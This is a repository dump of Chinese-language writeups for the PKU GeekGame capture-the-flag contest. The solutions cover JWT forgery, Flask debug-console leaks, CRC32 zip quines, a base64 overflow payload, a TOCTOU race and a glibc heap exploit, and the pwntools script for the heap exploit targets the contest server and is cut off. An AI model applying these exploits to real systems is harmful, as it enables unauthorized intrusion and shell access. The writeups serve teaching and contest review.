https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/2021-05-24-20-34-04.jpg
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/code.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/code.7z
--------------------------------------------------------------------------------
/writeups/player-DF4D0155/writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-DF4D0155/writeup.pdf
--------------------------------------------------------------------------------
/writeups/player-Hotarubi/code.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-Hotarubi/code.7z
--------------------------------------------------------------------------------
/writeups/player-Hotarubi/writeup.md:
--------------------------------------------------------------------------------
1 | # PKU Geek Game Genesis
2 |
3 | ## Q群签到题
4 |
5 | 群公告中提供了一个`base64`编码的字符串,解码得`synt{J3ypbzr gb 0gu CXH ThThTh, rawbl gur tnzr!}`。已知前四位明文为`flag`,容易看出是`ROT-13`。
6 |
7 | ## 不含`main`的C程序
8 |
9 | ```
10 | #define decode(m,s,u,t) m##s##u##t
11 | #define begin decode(m,a,i,n)
12 | ```
13 |
14 | ## 本群已和谷歌达成战略合作
15 |
16 | > 理科一号楼计算中心机房的门牌号
17 |
18 | 见 https://its.pku.edu.cn/pcroom.jsp
19 |
20 | > 讲得好、作业少、考试水、给分高的课
21 |
22 | 见 https://courses.pinzhixiaoyuan.com/
23 |
24 | > `HTCPCP-TEA` 协议
25 |
26 | `418` 是 `I'm a teapot` ,`504` 才是 `Temporarily unavailable`。
27 |
28 | > 在 2013 年 5 月 4 日,全世界共有多少可用的顶级域名(TLD)?
29 |
30 | 根据 http://web.archive.org/web/20130512163835/https://data.iana.org/TLD/tlds-alpha-by-domain.txt 确定数字,结合 https://en.wikipedia.org/w/index.php?date-range-to=2013-05-15&tagfilter=&title=List_of_Internet_top-level_domains&action=history 确认当周增删变化,确认答案是`317`。
31 |
32 | ## 图种
33 |
34 | 打开WinHex,在提供的GIF文件尾部,注意到`504B0304`和后面的strings,即获得压缩包。
35 |
36 | GIF图片有八个关键帧,其中第二、四、六、八帧有灰白像素色块,一定是编码了信息。二四可以左右拼起来,骑缝的色块正好对上,六八也可以。然后再将二四和六八上下拼接,得到一个33x33的`+`形二维码。四个角上分别是原风景照的四个角的片段,占据了8x8的空间,左上角是风景照的右下角,提示应该把图片旋转180°。
37 |
38 | 看到缺了四个角,结合之前问答题cue汉信码,然后开始按汉信码的规范填四个角,然后找到古董扫码App去扫,未果,寻病终。绝望中试了试改成填入 QR Code 的回字(右下角留空),拿com.xiaomi.scanner没扫出来,拿微信给扫出来`https://www.pku.edu.cn/#hint=zip_password_is_fm2jbn2z6t0gl5le`,解压后即被颁发了Steganography学硕士学位。
39 |
40 | ## 2038银行
41 |
42 | 简单的算术分析告诉我们,手里547元资金(每个银行可以免息借19元),最多收支相抵,无法实现财富增值,只能走非法手段。
43 |
44 | 2038顾名思义就是把`MAXINT`溢出到负数。贷款额度给的是在本行净资产的十倍,利用三家银行轮流加杠杆,发现贷款上限是2,000,000,000元,并不能直接溢出到负数。不过,计息以后就可以溢出到负数了。多等几天,等到系统提示净资产够买flag了就平仓跑路。
45 |
46 | ## 假IAAA
47 |
48 | 心灵鸡汤故事告诉我们,公主选婿的最佳策略是放跑前`1/e`(~37%)个候选者,记下它们中的最大值,然后后面只要遇到超过前面的就下手。但是这个策略显然不足以保证题目要求的`60%`正确率,于是只能多玩几轮才能通过……
49 |
50 | 然后是破解假冒的IAAA,token是`JWT`的,使用`HS256`签名,目标是把里面编码的`student`改成`teacher`。试图把头部改成`"alg": None`发现过不去,那看来密钥是必须的。又用cracker跑brute force,也没跑出来。
51 |
52 | 题面里说他抄了份代码,没有研究并设置任何的可配置参数,于是去GitHub搜`jwt+teacher+hs256+student+Werkzeug`,未果,寻病终。在 https://jwt.io 演示站摆弄琢磨过程中,忽然发现,诶,怎么没输密钥他居然说verified?一看密钥真的就是空字符串。于是签好交了。汗颜……
53 |
54 | ## Flask
55 |
56 | 开始还以为是条件竞争什么的,想不太出来。然后每行查下来,发现`app.run`的时候忘记关闭debug模式,大喜,这不就题里说的“上线前的疏漏”么!试着让系统出错(填非法payload,比如`'''flag'''`),结果发现返回的是啥料都没有的4XX页面,一看哦套了`nginx`。
57 |
58 | 然后打开`/console`,发现有PIN,敲了个123-456-789进去发现已经太多错误尝试被锁掉了。开始搜PIN的生成原理,甚至试图`nbtstat`获得服务器的`hostname`和MAC地址(但是失败了,众所周知摆大早已禁`ping`)(而且套了nginx的话是不是搞到了也没有用)。
59 |
60 | 然后开始对session的签名跑字典,跑不出来。
61 |
62 | 然后就很绝望了,在那儿瞎摆弄琢磨,忽然发现flag取消输入(POST的json里传一个null)会冒500,而且能直接把debugger弹在响应里!定睛一看,debugger会返回前后各三四行的源码,于是祸水东引,POST了`{"action": null}`,成功用debugger套出了签名密钥,把篡改的session签了出来。
63 |
64 | ## 未来汇编语言
65 |
66 | 不难,但是汇编比较长,要花时间转写成伪代码(结果见`/mirai/mirai.c`),转写完就容易了,加密算法完全是可逆的,看图说话即可,见`/mirai/mirai.py`。(这算是让大一同学提前体验bomblab吗
67 |
68 | ## emoji排序
69 |
70 | 代码见`/emoji/emoji.py`。不会什么算法,就胡写一个奖惩算法,六十几个emoji而已,再怎么O(N^2)也能跑出来。
71 |
72 | ## 猜字典
73 |
74 | 不会什么算法,就brute-force了,密文从头至尾尝试译回,枚举遇到生词时的选择的词长。试译结束时字典里应当恰好有16个词,并且词频要和题中所给条件一样。
75 |
76 | 拿到题时先估算了一下,密文的平均词长在3出头。想着明文是一堆ASCII,感觉这个数其实比较低(我当时没有意识到并不是任意字符,只有0-9a-f!还以为是任意的字母,所以是和字节长度比的,一想这压缩好高效)。然后就福至心灵,把枚举词长上限设在8,觉得既然是压缩那总不能比原来长(?)
77 |
78 | 代码见`/translation/translation.c`。拿c写的(循环层数太多,实在不敢python),也没弄并行,单核跑三五小时居然真跑出来了。,运行得到字典(按在密文中出现先后顺序)是`['10000', '011', '10011', '0100', '101', '10001', '11', '100100', '01011', '000', '0011', '1001011', '10010100', '01010', '0010', '10010101']`。回头一看,居然真的把八位词长用完了,不禁暗暗为自己捏了把汗。然后翻译回明文,然后对Huffman肃然起敬。
79 |
80 | ## ZIP不动点
81 |
82 | 阅读提供的ZIP格式文档,知道被mask掉的四处里,第一处和第四处位于payload外,是被压缩文件(也就是`quine.zip`)的CRC32校验码。压缩方式是normal/deflating,没有加密什么的。校验码前后编码的是文件时间戳、以及压缩后大小等信息。第二处和第三处在压缩后的payload里,定睛一看,被马掉的内容前后仍然是文件时间戳和压缩后大小,和文件头里是一样的,相当于这块在deflating时完全untouched。因此大胆猜测文件被马掉的内容也是untouched,是和第一处第四处原样相同的CRC32。
83 |
84 | 那就很简单了,只需对这32位进行枚举。代码见`/crc32/crc32.c`。注意大小端问题,CRC32填入文件时是倒着填的,交flag时也是倒着交。
--------------------------------------------------------------------------------
/writeups/player-Hotarubi/writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-Hotarubi/writeup.pdf
--------------------------------------------------------------------------------
/writeups/player-Sui/code.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-Sui/code.7z
--------------------------------------------------------------------------------
/writeups/player-Sui/writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-Sui/writeup.pdf
--------------------------------------------------------------------------------
/writeups/player-lrh2000/writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-lrh2000/writeup.pdf
--------------------------------------------------------------------------------
/writeups/player-sAy/code.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-sAy/code.7z
--------------------------------------------------------------------------------
/writeups/player-sAy/writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-sAy/writeup.pdf
--------------------------------------------------------------------------------
/writeups/player-zhangboyang/code.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-zhangboyang/code.7z
--------------------------------------------------------------------------------
/writeups/player-zhangboyang/writeup.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-zhangboyang/writeup.pdf
--------------------------------------------------------------------------------
/writeups/player-zhangboyang/writeup.ppt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/player-zhangboyang/writeup.ppt
--------------------------------------------------------------------------------
/writeups/wp-cheshire_cat/code.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-cheshire_cat/code.7z
--------------------------------------------------------------------------------
/writeups/wp-cheshire_cat/wp-cheshire_cat.md:
--------------------------------------------------------------------------------
1 |
19 |
20 | # 巴别压缩包
21 |
22 | 题目材料源自于去年暑假闲的无聊研究DEFLATE算法的成果。quine的构造参考 https://research.swtch.com/zip 及 https://matthewbarber.io/gzip-quine/ ,实现的时候每个“指令”用了4个字节而不是5个字节,其余结构与文章中类似。CRC32的部分是作为一个数学练习附赠的(
23 | 因为出题时倾向于出得简单,而且为了毕业季不花太多时间在活动上,所以做成了一道纯文本描述的填空题(这样就不用管什么前端后端的了),选手自己通过解压程序验证题目,解出问题的选手还可以获得一个自我嵌套的zip文件作奖励(太省事了
24 |
25 | 本题考察的内容是理解zip文件的部分压缩原理(至少要知道压缩文件数据可以包含未经处理的原数据),根据题目要求推断出挖掉的部分均为相同的CRC32校验码,巧妙之处在于zip文件格式中的CRC32为解压后文件的CRC32数据,而为使得解压后的文件与原压缩文件相同,这一CRC32数据被包含在了解压后的文件里,也同时被包含在解压前的文件的数据部分。这就要求更改CRC32数据的同时还要使得整个文件的CRC32结果与更改的数据相同。
26 | CRC32的算法大家网上都可以查到,通过穷举得出答案也不难,也有一部分选手的writeup中写到利用了CRC32的可加性(线性结构),但要漂亮地解决本问题,我们还需要利用到CRC32中的乘法(可除代数)结构:
27 |
28 | 我们知道对二进制数据的异或和移位操作给出一个F~2~(由2个元素组成的有限域,其中加法是异或操作,乘法是与操作)上的多项式环F~2~[x](x的多项式,每项之前的系数在F~2~中),由CRC32算法中的常数`0xEDB88320`给出多项式
29 | > q=x^32^+x^26^+x^23^+x^22^+x^16^+x^12^+x^11^+x^10^+x^8^+x^7^+x^5^+x^4^+x^2^+x^1^+x^0^
30 |
31 | CRC32算法的结果是将文件作为一个多项式计算其对q作带余除法得到的余数,若像初等数论中对每个运算都进行模q取余数的操作,我们可以得到有限域[F~2^32~](https://en.wikipedia.org/wiki/Finite_field)上的代数运算。理解这一点后我们可以将CRC32的结果包含在要计算的数据中的情况转化为一个线性方程的求解:
32 |
33 | 为方便与多项式的次数对齐,将数据和变量表示为
34 | ```
35 | data:
36 | Byte ... 4 3 2 1 0
37 | bit ... 31 . . . . . 876543210
38 | poly ... x^-31 x^0
39 | crc:
40 | Byte 3 2 1 0
41 | bit 31 . . . . . 876543210
42 | poly x^0 x^31
43 | ```
44 | 余数初始化为`0xFFFFFFFF`,在数据末尾添加`0xFFFFFFFF`后计算带余除法
45 |
46 | 我们假设填进的数据为crc,在不同位置填入crc相当于对数据做移位与异或,在代数上就是乘以某个多项式(记为K)
47 | > crc * (x^n1^ + x^n2^ + x^n3^ + x^n4^) = crc * K
48 |
49 | 在Z2[x]环中(略去x及次数)约束条件可写成:
50 | ```
51 | (filedata + K * crc) (concat) ffffffff + crc === 0 mod q
52 | (filedata + K * crc)*x^32 + ffffffff + crc === 0 mod q
53 | filedata*x^32 + ffffffff === (K*x^32 + 1) * crc mod q
54 | ```
55 | 解这个同余方程只需求出常数项`filedata*x^32 + ffffffff`与`K*x^32 + 1`系数项的逆元(参考初等数论中2*3 === 1 mod 5)即可,实际上若有现成的CRC32算法可以通过对不同crc计算两次文件CRC32得出系数项。求逆元的过程实际实现为[辗转相除法](https://en.wikipedia.org/wiki/Euclidean_algorithm)。具体算法见crc32-crack.cpp
56 |
57 | 若题目条件放宽松,允许选手在足够长(>=4字节)的空间里写入任意数据的则有其他的方法构造出合法的zip文件:
58 | https://www.nayuki.io/page/forcing-a-files-crc-to-any-value
59 |
60 | 想着让不熟悉代数的同学也能做出来所以没有做防止暴力穷举的设计,结果writeup中没有一个人选择使用代数方法,看来暴力穷举的难度还是太低了(
61 | (防穷举设计思路:显然如果我们对quine.zip文件进行更多的构造使其包含更多的文件结构,那么我们需要的CRC32验证码就会形成二元或以上的线性方程组,这时候就需要用线性代数方法求解(你解过F~2^32~上的线性方程组吗?),同时使得穷举的搜索空间变为原先的2次方以上
62 |
63 | 题目描述拙劣地模仿了博尔赫斯的《巴别图书馆》,原文中图书馆里的书遍历了所有可能的字母排列,但书的总数是有限的,这里虽然压缩包的大小也是有限的,但是通过解压算法的重复操作又可能衍生出无限的内容。(关于给出一个越解压越大的压缩包的构造给有兴趣的同学作为课后练习
64 |
65 | )))))
--------------------------------------------------------------------------------
/writeups/wp-liangjs/dec_maxlen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-liangjs/dec_maxlen.png
--------------------------------------------------------------------------------
/writeups/wp-liangjs/qiantui1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-liangjs/qiantui1.png
--------------------------------------------------------------------------------
/writeups/wp-liangjs/qiantui2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-liangjs/qiantui2.png
--------------------------------------------------------------------------------
/writeups/wp-liangjs/qiantui3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-liangjs/qiantui3.png
--------------------------------------------------------------------------------
/writeups/wp-liangjs/toctou1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-liangjs/toctou1.png
--------------------------------------------------------------------------------
/writeups/wp-liangjs/toctou2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PKU-GeekGame/geekgame-0th/3be9f9c37020e28c10f3cd29f0d42ee5d3235c1b/writeups/wp-liangjs/toctou2.png
--------------------------------------------------------------------------------
/writeups/wp-liangjs/wp-liangjs.md:
--------------------------------------------------------------------------------
1 |
19 |
20 | ## 主的替代品
21 |
22 | 输出 main 字符串很简单(比如分段输出),此题重点是如何声明 main 函数。
23 |
24 | 预期方法是用宏,可以用两个井号 (##) 连接字符,或者用反斜杠 (\\) 连接两行。
25 |
26 | 一个可能的答案:
27 | ```c
28 | #include
29 | #define MAIN m ## a ## i ## n
30 | int MAIN()
31 | {
32 | printf("ma%cn\n", 'i');
33 | return 0;
34 | }
35 | ```
36 |
37 |
38 | ## 皮浪的解码器
39 |
40 | 本题改编自 CVE-2018-6789,大幅降低了漏洞利用难度。
41 |
42 | 漏洞在 `b64decode` 函数检查缓冲区长度时的计算错误。
43 |
44 | 
45 |
46 | 当 `code_len=935` 时,可以通过一开始的检查。准确地说,当输入长度为 $4n+3$ 时,函数检查输出长度为 $3n+1$,却实际上会向缓冲区写入 $3n+2$ 个字节。
47 | 当 $n=233$ 时,`dec` 会溢出一个字节到 `declen` 变量,可以把 `declen` 篡改成一个较大的值,进而在输出 decode 结果的时候把 `flag` 也输出出来。
48 |
49 | 一个可能的答案:
50 | ```
51 | YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYf8
52 | ```
53 |
54 | ## 弗拉梅尔的宝石商店
55 |
56 | 可以从 `service.cpython-38.pyc` 文件逆向得到 `service.py` 源代码。
57 | 一个常用的pyc逆向工具是 [decompile3](https://github.com/rocky/python-decompile3)。
58 | 反编译时可能会遇到报错,是因为逆向工具存在 bug (或者尚不支持的字节码),比如 except 语句块里写 return 就会报错。
59 | 其实报错的地方并不影响程序总体逻辑(其实是出题人故意挖的坑),只看能反编译出来的部分就足够做题了。
60 |
61 | 要买flag有两个困难:(1) 钱不够,(2) flag是非卖品。
62 |
63 | 关于如何赚钱,可以发现直接卖出物品是打9折的,因此没法倒手赚钱。
64 | 但卖出物品时却可以超额卖出,比如只有一个 `jade`,却写了两行 `jade -1`。
65 | 因为卖出时是先交钱再交货,第二件物品在交货时才会报错,而钱却已经到帐,空手套白狼。
66 |
67 | 
68 |
69 | 注意到一次交易过程中,交易文件被读取了两次,第一次是检查合法性,第二次是实施交易。
70 | 如果在两次访问中间,文件被修改了,就可以绕过合法性检测。
71 | 这种 bug 叫做 TOCTOU (time of check to time of use)。
72 | 我们可以在 confirm 的时候发起新连接,就会再次写入同一个 `/tmp/token.txt` 文件,覆盖文件内容,绕过 flag 检查。
73 |
74 | 
75 |
76 | PS:本题有彩蛋,你发现了吗?
77 |
78 |
79 | ## 庄子的回文
80 |
81 | 漏洞位于 `0x4011e9` 处,`scanf("%s")` 栈溢出。
82 | 这是典型的 ROP(return-oriented programming)。
83 | 我们采用 ret2libc 方式解决。
84 |
85 | 见 xmcp 的验题 writeup,很详细。
86 |
87 |
88 | ## ←签退→
89 |
90 | 赞助商的题好难,试着做了一下。我在知道答案的前提下,还是能做出来的。。。
91 |
92 | 堆内存 UAF (use after free) 漏洞很明显,但 exploit 很困难。
93 | 此题需要深入理解 libc 的堆内存申请释放机制,可以从 [CTF Wiki](https://ctf-wiki.org/pwn/linux/glibc-heap/introduction/) 学习。
94 |
95 | 预期解法是 [house of husk](https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507)。顺便吐槽一下,好多堆利用方法都叫 house of XXX。
96 |
97 | `printf` 函数有个很小众的功能 `register_printf_function`,可以自定义的格式化字符串(比如可以自己实现一个 `%s` 格式)。
98 | 经过艰苦的 `printf` 源码阅读,可以发现使用该功能的有两个条件,一是 `__printf_function_table` 变量不为 0,二是 `__printf_arginfo_table` 变量不为 0 且对应表项为自定义的格式化函数。假如我们篡改了 `__printf_arginfo_table['s']`,在 `printf` 遇到 `%s` 时,就会调用 `__printf_arginfo_table['s']` 所指向的函数。
99 |
100 | 首先,我们用 [unsorted bin attack](https://ctf-wiki.org/pwn/linux/glibc-heap/unsorted_bin_attack/),利用堆内存 UAF 把任意内存地址改写成一个较大的数值。我们要改的内存是 `global_max_fast` 变量,它表示可以放入 fastbin 的堆块的最大大小。
101 |
102 | 
103 |
104 | 当我们 `free` 一个比 `global_max_fast` 更小的堆块的时候,Glibc 就根据这个堆块的大小,把它放到 fastbin 对应的列表里。
105 | 一旦把 `global_max_fast` 篡改成较大数值,在 `free` 一个大堆块时就会造成 fastbin 越界写。
106 | 因此我们可以在申请堆块时,控制堆块的大小,让它释放的时候,恰好写入到 `__printf_function_table` 和 `__printf_arginfo_table` 的位置,就可以让这俩变量指向我们的堆块。
107 |
108 | 
109 |
110 | 最后,只需要事先在 `__printf_arginfo_table` 的堆块的 `s` 表项写入 one gadget 地址,就可以在 `printf %s` 的时候获得 shell 了。
111 |
112 | 
113 |
114 | exploit 脚本如下:
115 |
116 | ```python
117 | from pwn import *
118 | import struct
119 | import os
120 |
121 | context.log_level = "debug"
122 |
123 | def offset2size(x):
124 | return x * 2 - 0x10
125 |
126 | MAIN_ARENA = 0x3ebc40
127 | MAIN_ARENA_DELTA = 0x60
128 | GLOBAL_MAX_FAST = 0x3ed940
129 | PRINTF_FUNCTABLE = 0x3f0658
130 | PRINTF_ARGINFO = 0x3ec870
131 | #ONE_GADGET = 0x10a38c
132 | ONE_GADGET = 0x4f3c2
133 |
134 | r = remote("prob07.geekgame.pku.edu.cn",10007)
135 | r.recvuntil("token")
136 | r.sendline(my_token)
137 |
138 | r.recvuntil("size?")
139 | r.sendline(str(offset2size(PRINTF_ARGINFO - MAIN_ARENA)))
140 | r.recvuntil("size?")
141 | r.sendline(str(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA)))
142 | r.recvuntil("rename")
143 | r.sendline("y")
144 | r.recvuntil("is:")
145 | arena_addr = r.recvuntil(',',drop=True).ljust(8, b'\x00')
146 | arena_addr = struct.unpack('